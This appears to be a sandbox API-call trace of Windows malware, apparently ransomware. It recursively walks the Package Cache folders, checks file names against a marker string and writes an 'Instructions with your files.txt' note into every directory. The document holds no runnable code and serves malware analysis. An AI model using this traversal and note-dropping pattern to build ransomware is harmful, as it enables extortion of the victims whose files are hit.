[0132.083] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabbdf20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xb4c3e780, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4c3e780, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0132.083] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\.") returned 120
[0132.083] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabbdf20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xb4c3e780, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4c3e780, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.083] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\..") returned 121
[0132.083] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x969a2800, ftCreationTime.dwHighDateTime=0x1ced4d9, ftLastAccessTime.dwLowDateTime=0x969a2800, ftLastAccessTime.dwHighDateTime=0x1ced4d9, ftLastWriteTime.dwLowDateTime=0x969a2800, ftLastWriteTime.dwHighDateTime=0x1ced4d9, nFileSizeHigh=0x0, nFileSizeLow=0xc5b25, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1
[0132.083] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\cab1.cab") returned 127
[0132.083] StrStrIW (lpFirst="cab1.cab", lpSrch="SDfghjkl") returned 0x0
[0132.083] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4ae7b20, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb4ae7b20, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4c3e780, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0132.083] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\Instructions with your files.txt") returned 151
[0132.083] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0132.083] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a1afc00, ftCreationTime.dwHighDateTime=0x1ced4da, ftLastAccessTime.dwLowDateTime=0x5a1afc00, ftLastAccessTime.dwHighDateTime=0x1ced4da, ftLastWriteTime.dwLowDateTime=0x5a1afc00, ftLastWriteTime.dwHighDateTime=0x1ced4da, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1
[0132.083] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi") returned 144
[0132.083] StrStrIW (lpFirst="vc_runtimeMinimum_x64.msi", lpSrch="SDfghjkl") returned 0x0
[0132.083] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a1afc00, ftCreationTime.dwHighDateTime=0x1ced4da, ftLastAccessTime.dwLowDateTime=0x5a1afc00, ftLastAccessTime.dwHighDateTime=0x1ced4da, ftLastWriteTime.dwLowDateTime=0x5a1afc00, ftLastWriteTime.dwHighDateTime=0x1ced4da, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0
[0132.083] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\Instructions with your files.txt") returned 151
[0132.083] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0132.083] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0132.084] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0132.084] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0132.084] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0132.085] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0132.085] CloseHandle (hObject=0x118) returned 1
[0132.085] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0132.085] GetProcessHeap () returned 0x810000
[0132.085] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e0050 | out: hHeap=0x810000) returned 1
[0132.085] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabbdf20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xb4c3e780, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4c3e780, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 0
[0132.085] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\Instructions with your files.txt") returned 128
[0132.085] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0132.085] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0132.086] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0132.086] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0132.086] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0132.086] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0132.086] CloseHandle (hObject=0x114) returned 1
[0132.086] FindClose (in: hFindFile=0x876cf8 | out: hFindFile=0x876cf8) returned 1
[0132.086] GetProcessHeap () returned 0x810000
[0132.086] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0132.086] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabbdf20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xb4c3e780, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4c3e780, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0
[0132.086] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\Instructions with your files.txt") returned 119
[0132.087] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0132.087] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0132.087] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0132.088] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0132.088] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0132.088] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0132.088] CloseHandle (hObject=0x110) returned 1
[0132.088] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0132.088] GetProcessHeap () returned 0x810000
[0132.088] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0132.088] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa93425b0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb4c648e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4c648e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", cAlternateFileName="{E5127~1.250")) returned 1
[0132.088] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017") returned 87
[0132.088] GetProcessHeap () returned 0x810000
[0132.088] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0132.088] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\*") returned 89
[0132.088] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa93425b0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb4c648e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4c648e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0132.088] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\.") returned 89
[0132.088] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa93425b0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb4c648e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4c648e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.088] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\..") returned 90
[0132.088] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4c648e0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb4c648e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4c648e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0132.088] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\Instructions with your files.txt") returned 120
[0132.088] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0132.089] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9368710, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb4c648e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4c648e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1
[0132.089] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages") returned 96
[0132.089] GetProcessHeap () returned 0x810000
[0132.089] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0132.089] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\*") returned 98
[0132.089] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9368710, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb4c648e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4c648e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cf8
[0132.089] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\.") returned 98
[0132.089] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9368710, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb4c648e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4c648e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.089] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4c648e0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb4c648e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4c648e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0132.089] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0132.089] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9368710, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb4c648e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4c648e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 1
[0132.089] GetProcessHeap () returned 0x810000
[0132.089] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e0050
[0132.089] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\*") returned 124
[0132.089] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9368710, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb4c648e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4c648e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0132.090] StrStrIW (lpFirst="cab1.cab", lpSrch="SDfghjkl") returned 0x0
[0132.090] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0132.090] StrStrIW (lpFirst="vc_runtimeAdditional_x64.msi", lpSrch="SDfghjkl") returned 0x0
[0132.090] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0132.090] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0132.091] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0132.091] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0132.091] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0132.092] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0132.092] CloseHandle (hObject=0x118) returned 1
[0132.092] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0132.092] GetProcessHeap () returned 0x810000
[0132.092] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e0050 | out: hHeap=0x810000) returned 1
[0132.092] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\Instructions with your files.txt") returned 129
[0132.092] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0132.092] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0132.093] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0132.093] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0132.093] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
